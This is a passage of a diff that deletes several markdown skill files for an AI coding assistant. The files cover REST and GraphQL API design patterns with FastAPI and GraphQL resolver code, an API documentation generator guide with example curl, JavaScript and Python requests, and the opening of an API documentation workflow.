|
||||
# Good: Resource-oriented endpoints
|
||||
GET /api/users # List users (with pagination)
|
||||
POST /api/users # Create user
|
||||
GET /api/users/{id} # Get specific user
|
||||
PUT /api/users/{id} # Replace user
|
||||
PATCH /api/users/{id} # Update user fields
|
||||
DELETE /api/users/{id} # Delete user
|
||||
|
||||
# Nested resources
|
||||
GET /api/users/{id}/orders # Get user's orders
|
||||
POST /api/users/{id}/orders # Create order for user
|
||||
|
||||
# Bad: Action-oriented endpoints (avoid)
|
||||
POST /api/createUser
|
||||
POST /api/getUserById
|
||||
POST /api/deleteUser
|
||||
```
|
||||
|
||||
### Pattern 2: Pagination and Filtering
|
||||
|
||||
```python
|
||||
from typing import List, Optional
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
class PaginationParams(BaseModel):
|
||||
page: int = Field(1, ge=1, description="Page number")
|
||||
page_size: int = Field(20, ge=1, le=100, description="Items per page")
|
||||
|
||||
class FilterParams(BaseModel):
|
||||
status: Optional[str] = None
|
||||
created_after: Optional[str] = None
|
||||
search: Optional[str] = None
|
||||
|
||||
class PaginatedResponse(BaseModel):
|
||||
items: List[dict]
|
||||
total: int
|
||||
page: int
|
||||
page_size: int
|
||||
pages: int
|
||||
|
||||
@property
|
||||
def has_next(self) -> bool:
|
||||
return self.page < self.pages
|
||||
|
||||
@property
|
||||
def has_prev(self) -> bool:
|
||||
return self.page > 1
|
||||
|
||||
# FastAPI endpoint example
|
||||
from fastapi import FastAPI, Query, Depends
|
||||
|
||||
app = FastAPI()
|
||||
|
||||
@app.get("/api/users", response_model=PaginatedResponse)
|
||||
async def list_users(
|
||||
page: int = Query(1, ge=1),
|
||||
page_size: int = Query(20, ge=1, le=100),
|
||||
status: Optional[str] = Query(None),
|
||||
search: Optional[str] = Query(None)
|
||||
):
|
||||
# Apply filters
|
||||
query = build_query(status=status, search=search)
|
||||
|
||||
# Count total
|
||||
total = await count_users(query)
|
||||
|
||||
# Fetch page
|
||||
offset = (page - 1) * page_size
|
||||
users = await fetch_users(query, limit=page_size, offset=offset)
|
||||
|
||||
return PaginatedResponse(
|
||||
items=users,
|
||||
total=total,
|
||||
page=page,
|
||||
page_size=page_size,
|
||||
pages=(total + page_size - 1) // page_size
|
||||
)
|
||||
```
|
||||
|
||||
### Pattern 3: Error Handling and Status Codes
|
||||
|
||||
```python
|
||||
from fastapi import HTTPException, status
|
||||
from pydantic import BaseModel
|
||||
|
||||
class ErrorResponse(BaseModel):
|
||||
error: str
|
||||
message: str
|
||||
details: Optional[dict] = None
|
||||
timestamp: str
|
||||
path: str
|
||||
|
||||
class ValidationErrorDetail(BaseModel):
|
||||
field: str
|
||||
message: str
|
||||
value: Any
|
||||
|
||||
# Consistent error responses
|
||||
STATUS_CODES = {
|
||||
"success": 200,
|
||||
"created": 201,
|
||||
"no_content": 204,
|
||||
"bad_request": 400,
|
||||
"unauthorized": 401,
|
||||
"forbidden": 403,
|
||||
"not_found": 404,
|
||||
"conflict": 409,
|
||||
"unprocessable": 422,
|
||||
"internal_error": 500
|
||||
}
|
||||
|
||||
def raise_not_found(resource: str, id: str):
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_404_NOT_FOUND,
|
||||
detail={
|
||||
"error": "NotFound",
|
||||
"message": f"{resource} not found",
|
||||
"details": {"id": id}
|
||||
}
|
||||
)
|
||||
|
||||
def raise_validation_error(errors: List[ValidationErrorDetail]):
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
|
||||
detail={
|
||||
"error": "ValidationError",
|
||||
"message": "Request validation failed",
|
||||
"details": {"errors": [e.dict() for e in errors]}
|
||||
}
|
||||
)
|
||||
|
||||
# Example usage
|
||||
@app.get("/api/users/{user_id}")
|
||||
async def get_user(user_id: str):
|
||||
user = await fetch_user(user_id)
|
||||
if not user:
|
||||
raise_not_found("User", user_id)
|
||||
return user
|
||||
```
|
||||
|
||||
### Pattern 4: HATEOAS (Hypermedia as the Engine of Application State)
|
||||
|
||||
```python
|
||||
class UserResponse(BaseModel):
|
||||
id: str
|
||||
name: str
|
||||
email: str
|
||||
_links: dict
|
||||
|
||||
@classmethod
|
||||
def from_user(cls, user: User, base_url: str):
|
||||
return cls(
|
||||
id=user.id,
|
||||
name=user.name,
|
||||
email=user.email,
|
||||
_links={
|
||||
"self": {"href": f"{base_url}/api/users/{user.id}"},
|
||||
"orders": {"href": f"{base_url}/api/users/{user.id}/orders"},
|
||||
"update": {
|
||||
"href": f"{base_url}/api/users/{user.id}",
|
||||
"method": "PATCH"
|
||||
},
|
||||
"delete": {
|
||||
"href": f"{base_url}/api/users/{user.id}",
|
||||
"method": "DELETE"
|
||||
}
|
||||
}
|
||||
)
|
||||
```
|
||||
|
||||
## GraphQL Design Patterns
|
||||
|
||||
### Pattern 1: Schema Design
|
||||
|
||||
```graphql
|
||||
# schema.graphql
|
||||
|
||||
# Clear type definitions
|
||||
type User {
|
||||
id: ID!
|
||||
email: String!
|
||||
name: String!
|
||||
createdAt: DateTime!
|
||||
|
||||
# Relationships
|
||||
orders(first: Int = 20, after: String, status: OrderStatus): OrderConnection!
|
||||
|
||||
profile: UserProfile
|
||||
}
|
||||
|
||||
type Order {
|
||||
id: ID!
|
||||
status: OrderStatus!
|
||||
total: Money!
|
||||
items: [OrderItem!]!
|
||||
createdAt: DateTime!
|
||||
|
||||
# Back-reference
|
||||
user: User!
|
||||
}
|
||||
|
||||
# Pagination pattern (Relay-style)
|
||||
type OrderConnection {
|
||||
edges: [OrderEdge!]!
|
||||
pageInfo: PageInfo!
|
||||
totalCount: Int!
|
||||
}
|
||||
|
||||
type OrderEdge {
|
||||
node: Order!
|
||||
cursor: String!
|
||||
}
|
||||
|
||||
type PageInfo {
|
||||
hasNextPage: Boolean!
|
||||
hasPreviousPage: Boolean!
|
||||
startCursor: String
|
||||
endCursor: String
|
||||
}
|
||||
|
||||
# Enums for type safety
|
||||
enum OrderStatus {
|
||||
PENDING
|
||||
CONFIRMED
|
||||
SHIPPED
|
||||
DELIVERED
|
||||
CANCELLED
|
||||
}
|
||||
|
||||
# Custom scalars
|
||||
scalar DateTime
|
||||
scalar Money
|
||||
|
||||
# Query root
|
||||
type Query {
|
||||
user(id: ID!): User
|
||||
users(first: Int = 20, after: String, search: String): UserConnection!
|
||||
|
||||
order(id: ID!): Order
|
||||
}
|
||||
|
||||
# Mutation root
|
||||
type Mutation {
|
||||
createUser(input: CreateUserInput!): CreateUserPayload!
|
||||
updateUser(input: UpdateUserInput!): UpdateUserPayload!
|
||||
deleteUser(id: ID!): DeleteUserPayload!
|
||||
|
||||
createOrder(input: CreateOrderInput!): CreateOrderPayload!
|
||||
}
|
||||
|
||||
# Input types for mutations
|
||||
input CreateUserInput {
|
||||
email: String!
|
||||
name: String!
|
||||
password: String!
|
||||
}
|
||||
|
||||
# Payload types for mutations
|
||||
type CreateUserPayload {
|
||||
user: User
|
||||
errors: [Error!]
|
||||
}
|
||||
|
||||
type Error {
|
||||
field: String
|
||||
message: String!
|
||||
}
|
||||
```
|
||||
|
||||
### Pattern 2: Resolver Design
|
||||
|
||||
```python
|
||||
from typing import Optional, List
|
||||
from ariadne import QueryType, MutationType, ObjectType
|
||||
from dataclasses import dataclass
|
||||
|
||||
query = QueryType()
|
||||
mutation = MutationType()
|
||||
user_type = ObjectType("User")
|
||||
|
||||
@query.field("user")
|
||||
async def resolve_user(obj, info, id: str) -> Optional[dict]:
|
||||
"""Resolve single user by ID."""
|
||||
return await fetch_user_by_id(id)
|
||||
|
||||
@query.field("users")
|
||||
async def resolve_users(
|
||||
obj,
|
||||
info,
|
||||
first: int = 20,
|
||||
after: Optional[str] = None,
|
||||
search: Optional[str] = None
|
||||
) -> dict:
|
||||
"""Resolve paginated user list."""
|
||||
# Decode cursor
|
||||
offset = decode_cursor(after) if after else 0
|
||||
|
||||
# Fetch users
|
||||
users = await fetch_users(
|
||||
limit=first + 1, # Fetch one extra to check hasNextPage
|
||||
offset=offset,
|
||||
search=search
|
||||
)
|
||||
|
||||
# Pagination
|
||||
has_next = len(users) > first
|
||||
if has_next:
|
||||
users = users[:first]
|
||||
|
||||
edges = [
|
||||
{
|
||||
"node": user,
|
||||
"cursor": encode_cursor(offset + i)
|
||||
}
|
||||
for i, user in enumerate(users)
|
||||
]
|
||||
|
||||
return {
|
||||
"edges": edges,
|
||||
"pageInfo": {
|
||||
"hasNextPage": has_next,
|
||||
"hasPreviousPage": offset > 0,
|
||||
"startCursor": edges[0]["cursor"] if edges else None,
|
||||
"endCursor": edges[-1]["cursor"] if edges else None
|
||||
},
|
||||
"totalCount": await count_users(search=search)
|
||||
}
|
||||
|
||||
@user_type.field("orders")
|
||||
async def resolve_user_orders(user: dict, info, first: int = 20) -> dict:
|
||||
"""Resolve user's orders (N+1 prevention with DataLoader)."""
|
||||
# Use DataLoader to batch requests
|
||||
loader = info.context["loaders"]["orders_by_user"]
|
||||
orders = await loader.load(user["id"])
|
||||
|
||||
return paginate_orders(orders, first)
|
||||
|
||||
@mutation.field("createUser")
|
||||
async def resolve_create_user(obj, info, input: dict) -> dict:
|
||||
"""Create new user."""
|
||||
try:
|
||||
# Validate input
|
||||
validate_user_input(input)
|
||||
|
||||
# Create user
|
||||
user = await create_user(
|
||||
email=input["email"],
|
||||
name=input["name"],
|
||||
password=hash_password(input["password"])
|
||||
)
|
||||
|
||||
return {
|
||||
"user": user,
|
||||
"errors": []
|
||||
}
|
||||
except ValidationError as e:
|
||||
return {
|
||||
"user": None,
|
||||
"errors": [{"field": e.field, "message": e.message}]
|
||||
}
|
||||
```
|
||||
|
||||
### Pattern 3: DataLoader (N+1 Problem Prevention)
|
||||
|
||||
```python
|
||||
from aiodataloader import DataLoader
|
||||
from typing import List, Optional
|
||||
|
||||
class UserLoader(DataLoader):
|
||||
"""Batch load users by ID."""
|
||||
|
||||
async def batch_load_fn(self, user_ids: List[str]) -> List[Optional[dict]]:
|
||||
"""Load multiple users in single query."""
|
||||
users = await fetch_users_by_ids(user_ids)
|
||||
|
||||
# Map results back to input order
|
||||
user_map = {user["id"]: user for user in users}
|
||||
return [user_map.get(user_id) for user_id in user_ids]
|
||||
|
||||
class OrdersByUserLoader(DataLoader):
|
||||
"""Batch load orders by user ID."""
|
||||
|
||||
async def batch_load_fn(self, user_ids: List[str]) -> List[List[dict]]:
|
||||
"""Load orders for multiple users in single query."""
|
||||
orders = await fetch_orders_by_user_ids(user_ids)
|
||||
|
||||
# Group orders by user_id
|
||||
orders_by_user = {}
|
||||
for order in orders:
|
||||
user_id = order["user_id"]
|
||||
if user_id not in orders_by_user:
|
||||
orders_by_user[user_id] = []
|
||||
orders_by_user[user_id].append(order)
|
||||
|
||||
# Return in input order
|
||||
return [orders_by_user.get(user_id, []) for user_id in user_ids]
|
||||
|
||||
# Context setup
|
||||
def create_context():
|
||||
return {
|
||||
"loaders": {
|
||||
"user": UserLoader(),
|
||||
"orders_by_user": OrdersByUserLoader()
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Best Practices
|
||||
|
||||
### REST APIs
|
||||
|
||||
1. **Consistent Naming**: Use plural nouns for collections (`/users`, not `/user`)
|
||||
2. **Stateless**: Each request contains all necessary information
|
||||
3. **Use HTTP Status Codes Correctly**: 2xx success, 4xx client errors, 5xx server errors
|
||||
4. **Version Your API**: Plan for breaking changes from day one
|
||||
5. **Pagination**: Always paginate large collections
|
||||
6. **Rate Limiting**: Protect your API with rate limits
|
||||
7. **Documentation**: Use OpenAPI/Swagger for interactive docs
|
||||
|
||||
### GraphQL APIs
|
||||
|
||||
1. **Schema First**: Design schema before writing resolvers
|
||||
2. **Avoid N+1**: Use DataLoaders for efficient data fetching
|
||||
3. **Input Validation**: Validate at schema and resolver levels
|
||||
4. **Error Handling**: Return structured errors in mutation payloads
|
||||
5. **Pagination**: Use cursor-based pagination (Relay spec)
|
||||
6. **Deprecation**: Use `@deprecated` directive for gradual migration
|
||||
7. **Monitoring**: Track query complexity and execution time
|
||||
|
||||
## Common Pitfalls
|
||||
|
||||
- **Over-fetching/Under-fetching (REST)**: Fixed in GraphQL but requires DataLoaders
|
||||
- **Breaking Changes**: Version APIs or use deprecation strategies
|
||||
- **Inconsistent Error Formats**: Standardize error responses
|
||||
- **Missing Rate Limits**: APIs without limits are vulnerable to abuse
|
||||
- **Poor Documentation**: Undocumented APIs frustrate developers
|
||||
- **Ignoring HTTP Semantics**: POST for idempotent operations breaks expectations
|
||||
- **Tight Coupling**: API structure shouldn't mirror database schema
|
||||
|
||||
## Resources
|
||||
|
||||
- **references/rest-best-practices.md**: Comprehensive REST API design guide
|
||||
- **references/graphql-schema-design.md**: GraphQL schema patterns and anti-patterns
|
||||
- **references/api-versioning-strategies.md**: Versioning approaches and migration paths
|
||||
- **assets/rest-api-template.py**: FastAPI REST API template
|
||||
- **assets/graphql-schema-template.graphql**: Complete GraphQL schema example
|
||||
- **assets/api-design-checklist.md**: Pre-implementation review checklist
|
||||
- **scripts/openapi-generator.py**: Generate OpenAPI specs from code
|
||||
@@ -1,486 +0,0 @@
|
||||
---
|
||||
name: api-documentation-generator
|
||||
description: "Generate comprehensive, developer-friendly API documentation from code, including endpoints, parameters, examples, and best practices"
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# API Documentation Generator
|
||||
|
||||
## Overview
|
||||
|
||||
Automatically generate clear, comprehensive API documentation from your codebase. This skill helps you create professional documentation that includes endpoint descriptions, request/response examples, authentication details, error handling, and usage guidelines.
|
||||
|
||||
Perfect for REST APIs, GraphQL APIs, and WebSocket APIs.
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
- Use when you need to document a new API
|
||||
- Use when updating existing API documentation
|
||||
- Use when your API lacks clear documentation
|
||||
- Use when onboarding new developers to your API
|
||||
- Use when preparing API documentation for external users
|
||||
- Use when creating OpenAPI/Swagger specifications
|
||||
|
||||
## How It Works
|
||||
|
||||
### Step 1: Analyze the API Structure
|
||||
|
||||
First, I'll examine your API codebase to understand:
|
||||
- Available endpoints and routes
|
||||
- HTTP methods (GET, POST, PUT, DELETE, etc.)
|
||||
- Request parameters and body structure
|
||||
- Response formats and status codes
|
||||
- Authentication and authorization requirements
|
||||
- Error handling patterns
|
||||
|
||||
### Step 2: Generate Endpoint Documentation
|
||||
|
||||
For each endpoint, I'll create documentation including:
|
||||
|
||||
**Endpoint Details:**
|
||||
- HTTP method and URL path
|
||||
- Brief description of what it does
|
||||
- Authentication requirements
|
||||
- Rate limiting information (if applicable)
|
||||
|
||||
**Request Specification:**
|
||||
- Path parameters
|
||||
- Query parameters
|
||||
- Request headers
|
||||
- Request body schema (with types and validation rules)
|
||||
|
||||
**Response Specification:**
|
||||
- Success response (status code + body structure)
|
||||
- Error responses (all possible error codes)
|
||||
- Response headers
|
||||
|
||||
**Code Examples:**
|
||||
- cURL command
|
||||
- JavaScript/TypeScript (fetch/axios)
|
||||
- Python (requests)
|
||||
- Other languages as needed
|
||||
|
||||
### Step 3: Add Usage Guidelines
|
||||
|
||||
I'll include:
|
||||
- Getting started guide
|
||||
- Authentication setup
|
||||
- Common use cases
|
||||
- Best practices
|
||||
- Rate limiting details
|
||||
- Pagination patterns
|
||||
- Filtering and sorting options
|
||||
|
||||
### Step 4: Document Error Handling
|
||||
|
||||
Clear error documentation including:
|
||||
- All possible error codes
|
||||
- Error message formats
|
||||
- Troubleshooting guide
|
||||
- Common error scenarios and solutions
|
||||
|
||||
### Step 5: Create Interactive Examples
|
||||
|
||||
Where possible, I'll provide:
|
||||
- Postman collection
|
||||
- OpenAPI/Swagger specification
|
||||
- Interactive code examples
|
||||
- Sample responses
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: REST API Endpoint Documentation
|
||||
|
||||
```markdown
|
||||
## Create User
|
||||
|
||||
Creates a new user account.
|
||||
|
||||
**Endpoint:** `POST /api/v1/users`
|
||||
|
||||
**Authentication:** Required (Bearer token)
|
||||
|
||||
**Request Body:**
|
||||
\`\`\`json
|
||||
{
|
||||
"email": "user@example.com", // Required: Valid email address
|
||||
"password": "SecurePass123!", // Required: Min 8 chars, 1 uppercase, 1 number
|
||||
"name": "John Doe", // Required: 2-50 characters
|
||||
"role": "user" // Optional: "user" or "admin" (default: "user")
|
||||
}
|
||||
\`\`\`
|
||||
|
||||
**Success Response (201 Created):**
|
||||
\`\`\`json
|
||||
{
|
||||
"id": "usr_1234567890",
|
||||
"email": "user@example.com",
|
||||
"name": "John Doe",
|
||||
"role": "user",
|
||||
"createdAt": "2026-01-20T10:30:00Z",
|
||||
"emailVerified": false
|
||||
}
|
||||
\`\`\`
|
||||
|
||||
**Error Responses:**
|
||||
|
||||
- `400 Bad Request` - Invalid input data
|
||||
\`\`\`json
|
||||
{
|
||||
"error": "VALIDATION_ERROR",
|
||||
"message": "Invalid email format",
|
||||
"field": "email"
|
||||
}
|
||||
\`\`\`
|
||||
|
||||
- `409 Conflict` - Email already exists
|
||||
\`\`\`json
|
||||
{
|
||||
"error": "EMAIL_EXISTS",
|
||||
"message": "An account with this email already exists"
|
||||
}
|
||||
\`\`\`
|
||||
|
||||
- `401 Unauthorized` - Missing or invalid authentication token
|
||||
|
||||
**Example Request (cURL):**
|
||||
\`\`\`bash
|
||||
curl -X POST https://api.example.com/api/v1/users \
|
||||
-H "Authorization: Bearer YOUR_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"email": "user@example.com",
|
||||
"password": "SecurePass123!",
|
||||
"name": "John Doe"
|
||||
}'
|
||||
\`\`\`
|
||||
|
||||
**Example Request (JavaScript):**
|
||||
\`\`\`javascript
|
||||
const response = await fetch('https://api.example.com/api/v1/users', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Authorization': `Bearer ${token}`,
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({
|
||||
email: 'user@example.com',
|
||||
password: 'SecurePass123!',
|
||||
name: 'John Doe'
|
||||
})
|
||||
});
|
||||
|
||||
const user = await response.json();
|
||||
console.log(user);
|
||||
\`\`\`
|
||||
|
||||
**Example Request (Python):**
|
||||
\`\`\`python
|
||||
import requests
|
||||
|
||||
response = requests.post(
|
||||
'https://api.example.com/api/v1/users',
|
||||
headers={
|
||||
'Authorization': f'Bearer {token}',
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
json={
|
||||
'email': 'user@example.com',
|
||||
'password': 'SecurePass123!',
|
||||
'name': 'John Doe'
|
||||
}
|
||||
)
|
||||
|
||||
user = response.json()
|
||||
print(user)
|
||||
\`\`\`
|
||||
```
|
||||
|
||||
### Example 2: GraphQL API Documentation
|
||||
|
||||
```markdown
|
||||
## User Query
|
||||
|
||||
Fetch user information by ID.
|
||||
|
||||
**Query:**
|
||||
\`\`\`graphql
|
||||
query GetUser($id: ID!) {
|
||||
user(id: $id) {
|
||||
id
|
||||
email
|
||||
name
|
||||
role
|
||||
createdAt
|
||||
posts {
|
||||
id
|
||||
title
|
||||
publishedAt
|
||||
}
|
||||
}
|
||||
}
|
||||
\`\`\`
|
||||
|
||||
**Variables:**
|
||||
\`\`\`json
|
||||
{
|
||||
"id": "usr_1234567890"
|
||||
}
|
||||
\`\`\`
|
||||
|
||||
**Response:**
|
||||
\`\`\`json
|
||||
{
|
||||
"data": {
|
||||
"user": {
|
||||
"id": "usr_1234567890",
|
||||
"email": "user@example.com",
|
||||
"name": "John Doe",
|
||||
"role": "user",
|
||||
"createdAt": "2026-01-20T10:30:00Z",
|
||||
"posts": [
|
||||
{
|
||||
"id": "post_123",
|
||||
"title": "My First Post",
|
||||
"publishedAt": "2026-01-21T14:00:00Z"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
\`\`\`
|
||||
|
||||
**Errors:**
|
||||
\`\`\`json
|
||||
{
|
||||
"errors": [
|
||||
{
|
||||
"message": "User not found",
|
||||
"extensions": {
|
||||
"code": "USER_NOT_FOUND",
|
||||
"userId": "usr_1234567890"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
\`\`\`
|
||||
```
|
||||
|
||||
### Example 3: Authentication Documentation
|
||||
|
||||
```markdown
|
||||
## Authentication
|
||||
|
||||
All API requests require authentication using Bearer tokens.
|
||||
|
||||
### Getting a Token
|
||||
|
||||
**Endpoint:** `POST /api/v1/auth/login`
|
||||
|
||||
**Request:**
|
||||
\`\`\`json
|
||||
{
|
||||
"email": "user@example.com",
|
||||
"password": "your-password"
|
||||
}
|
||||
\`\`\`
|
||||
|
||||
**Response:**
|
||||
\`\`\`json
|
||||
{
|
||||
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
|
||||
"expiresIn": 3600,
|
||||
"refreshToken": "refresh_token_here"
|
||||
}
|
||||
\`\`\`
|
||||
|
||||
### Using the Token
|
||||
|
||||
Include the token in the Authorization header:
|
||||
|
||||
\`\`\`
|
||||
Authorization: Bearer YOUR_TOKEN
|
||||
\`\`\`
|
||||
|
||||
### Token Expiration
|
||||
|
||||
Tokens expire after 1 hour. Use the refresh token to get a new access token:
|
||||
|
||||
**Endpoint:** `POST /api/v1/auth/refresh`
|
||||
|
||||
**Request:**
|
||||
\`\`\`json
|
||||
{
|
||||
"refreshToken": "refresh_token_here"
|
||||
}
|
||||
\`\`\`
|
||||
```
|
||||
|
||||
## Best Practices
|
||||
|
||||
### ✅ Do This
|
||||
|
||||
- **Be Consistent** - Use the same format for all endpoints
|
||||
- **Include Examples** - Provide working code examples in multiple languages
|
||||
- **Document Errors** - List all possible error codes and their meanings
|
||||
- **Show Real Data** - Use realistic example data, not "foo" and "bar"
|
||||
- **Explain Parameters** - Describe what each parameter does and its constraints
|
||||
- **Version Your API** - Include version numbers in URLs (/api/v1/)
|
||||
- **Add Timestamps** - Show when documentation was last updated
|
||||
- **Link Related Endpoints** - Help users discover related functionality
|
||||
- **Include Rate Limits** - Document any rate limiting policies
|
||||
- **Provide Postman Collection** - Make it easy to test your API
|
||||
|
||||
### ❌ Don't Do This
|
||||
|
||||
- **Don't Skip Error Cases** - Users need to know what can go wrong
|
||||
- **Don't Use Vague Descriptions** - "Gets data" is not helpful
|
||||
- **Don't Forget Authentication** - Always document auth requirements
|
||||
- **Don't Ignore Edge Cases** - Document pagination, filtering, sorting
|
||||
- **Don't Leave Examples Broken** - Test all code examples
|
||||
- **Don't Use Outdated Info** - Keep documentation in sync with code
|
||||
- **Don't Overcomplicate** - Keep it simple and scannable
|
||||
- **Don't Forget Response Headers** - Document important headers
|
||||
|
||||
## Documentation Structure
|
||||
|
||||
### Recommended Sections
|
||||
|
||||
1. **Introduction**
|
||||
- What the API does
|
||||
- Base URL
|
||||
- API version
|
||||
- Support contact
|
||||
|
||||
2. **Authentication**
|
||||
- How to authenticate
|
||||
- Token management
|
||||
- Security best practices
|
||||
|
||||
3. **Quick Start**
|
||||
- Simple example to get started
|
||||
- Common use case walkthrough
|
||||
|
||||
4. **Endpoints**
|
||||
- Organized by resource
|
||||
- Full details for each endpoint
|
||||
|
||||
5. **Data Models**
|
||||
- Schema definitions
|
||||
- Field descriptions
|
||||
- Validation rules
|
||||
|
||||
6. **Error Handling**
|
||||
- Error code reference
|
||||
- Error response format
|
||||
- Troubleshooting guide
|
||||
|
||||
7. **Rate Limiting**
|
||||
- Limits and quotas
|
||||
- Headers to check
|
||||
- Handling rate limit errors
|
||||
|
||||
8. **Changelog**
|
||||
- API version history
|
||||
- Breaking changes
|
||||
- Deprecation notices
|
||||
|
||||
9. **SDKs and Tools**
|
||||
- Official client libraries
|
||||
- Postman collection
|
||||
- OpenAPI specification
|
||||
|
||||
## Common Pitfalls
|
||||
|
||||
### Problem: Documentation Gets Out of Sync
|
||||
**Symptoms:** Examples don't work, parameters are wrong, endpoints return different data
|
||||
**Solution:**
|
||||
- Generate docs from code comments/annotations
|
||||
- Use tools like Swagger/OpenAPI
|
||||
- Add API tests that validate documentation
|
||||
- Review docs with every API change
|
||||
|
||||
### Problem: Missing Error Documentation
|
||||
**Symptoms:** Users don't know how to handle errors, support tickets increase
|
||||
**Solution:**
|
||||
- Document every possible error code
|
||||
- Provide clear error messages
|
||||
- Include troubleshooting steps
|
||||
- Show example error responses
|
||||
|
||||
### Problem: Examples Don't Work
|
||||
**Symptoms:** Users can't get started, frustration increases
|
||||
**Solution:**
|
||||
- Test every code example
|
||||
- Use real, working endpoints
|
||||
- Include complete examples (not fragments)
|
||||
- Provide a sandbox environment
|
||||
|
||||
### Problem: Unclear Parameter Requirements
|
||||
**Symptoms:** Users send invalid requests, validation errors
|
||||
**Solution:**
|
||||
- Mark required vs optional clearly
|
||||
- Document data types and formats
|
||||
- Show validation rules
|
||||
- Provide example values
|
||||
|
||||
## Tools and Formats
|
||||
|
||||
### OpenAPI/Swagger
|
||||
Generate interactive documentation:
|
||||
```yaml
|
||||
openapi: 3.0.0
|
||||
info:
|
||||
title: My API
|
||||
version: 1.0.0
|
||||
paths:
|
||||
/users:
|
||||
post:
|
||||
summary: Create a new user
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/CreateUserRequest'
|
||||
```
|
||||
|
||||
### Postman Collection
|
||||
Export collection for easy testing:
|
||||
```json
|
||||
{
|
||||
"info": {
|
||||
"name": "My API",
|
||||
"schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
|
||||
},
|
||||
"item": [
|
||||
{
|
||||
"name": "Create User",
|
||||
"request": {
|
||||
"method": "POST",
|
||||
"url": "{{baseUrl}}/api/v1/users"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
## Related Skills
|
||||
|
||||
- `@doc-coauthoring` - For collaborative documentation writing
|
||||
- `@copywriting` - For clear, user-friendly descriptions
|
||||
- `@test-driven-development` - For ensuring API behavior matches docs
|
||||
- `@systematic-debugging` - For troubleshooting API issues
|
||||
|
||||
## Additional Resources
|
||||
|
||||
- [OpenAPI Specification](https://swagger.io/specification/)
|
||||
- [REST API Best Practices](https://restfulapi.net/)
|
||||
- [GraphQL Documentation](https://graphql.org/learn/)
|
||||
- [API Design Patterns](https://www.apiguide.com/)
|
||||
- [Postman Documentation](https://learning.postman.com/docs/)
|
||||
|
||||
---
|
||||
|
||||
**Pro Tip:** Keep your API documentation as close to your code as possible. Use tools that generate docs from code comments to ensure they stay in sync!
|
||||
@@ -1,164 +0,0 @@
|
||||
---
|
||||
name: api-documentation
|
||||
description: "API documentation workflow for generating OpenAPI specs, creating developer guides, and maintaining comprehensive API documentation."
|
||||
source: personal
|
||||
risk: safe
|
||||
domain: documentation
|
||||
category: granular-workflow-bundle
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# API Documentation Workflow
|
||||
|
||||
## Overview
|
||||
|
||||
Specialized workflow for creating comprehensive API documentation including OpenAPI/Swagger specs, developer guides, code examples, and interactive documentation.
|
||||
|
||||
## When to Use This Workflow
|
||||
|
||||
Use this workflow when:
|
||||
- Creating API documentation
|
||||
- Generating OpenAPI specs
|
||||
- Writing developer guides
|
||||
- Adding code examples
|
||||
- Setting up API portals
|
||||
|
||||
## Workflow Phases
|
||||
|
||||
### Phase 1: API Discovery
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-documenter` - API documentation
|
||||
- `api-design-principles` - API design
|
||||
|
||||
#### Actions
|
||||
1. Inventory endpoints
|
||||
2. Document request/response
|
||||
3. Identify authentication
|
||||
4. Map error codes
|
||||
5. Note rate limits
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-documenter to discover and document API endpoints
|
||||
```
|
||||
|
||||
### Phase 2: OpenAPI Specification
|
||||
|
||||
#### Skills to Invoke
|
||||
- `openapi-spec-generation` - OpenAPI
|
||||
- `api-documenter` - API specs
|
||||
|
||||
#### Actions
|
||||
1. Create OpenAPI schema
|
||||
2. Define paths
|
||||
3. Add schemas
|
||||
4. Configure security
|
||||
5. Add examples
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @openapi-spec-generation to create OpenAPI specification
|
||||
```
|
||||
|
||||
### Phase 3: Developer Guide
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-documentation-generator` - Documentation
|
||||
- `documentation-templates` - Templates
|
||||
|
||||
#### Actions
|
||||
1. Create getting started
|
||||
2. Write authentication guide
|
||||
3. Document common patterns
|
||||
4. Add troubleshooting
|
||||
5. Create FAQ
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-documentation-generator to create developer guide
|
||||
```
|
||||
|
||||
### Phase 4: Code Examples
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-documenter` - Code examples
|
||||
- `tutorial-engineer` - Tutorials
|
||||
|
||||
#### Actions
|
||||
1. Create example requests
|
||||
2. Write SDK examples
|
||||
3. Add curl examples
|
||||
4. Create tutorials
|
||||
5. Test examples
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-documenter to generate code examples
|
||||
```
|
||||
|
||||
### Phase 5: Interactive Docs
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-documenter` - Interactive docs
|
||||
|
||||
#### Actions
|
||||
1. Set up Swagger UI
|
||||
2. Configure Redoc
|
||||
3. Add try-it functionality
|
||||
4. Test interactivity
|
||||
5. Deploy docs
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-documenter to set up interactive documentation
|
||||
```
|
||||
|
||||
### Phase 6: Documentation Site
|
||||
|
||||
#### Skills to Invoke
|
||||
- `docs-architect` - Documentation architecture
|
||||
- `wiki-page-writer` - Documentation
|
||||
|
||||
#### Actions
|
||||
1. Choose platform
|
||||
2. Design structure
|
||||
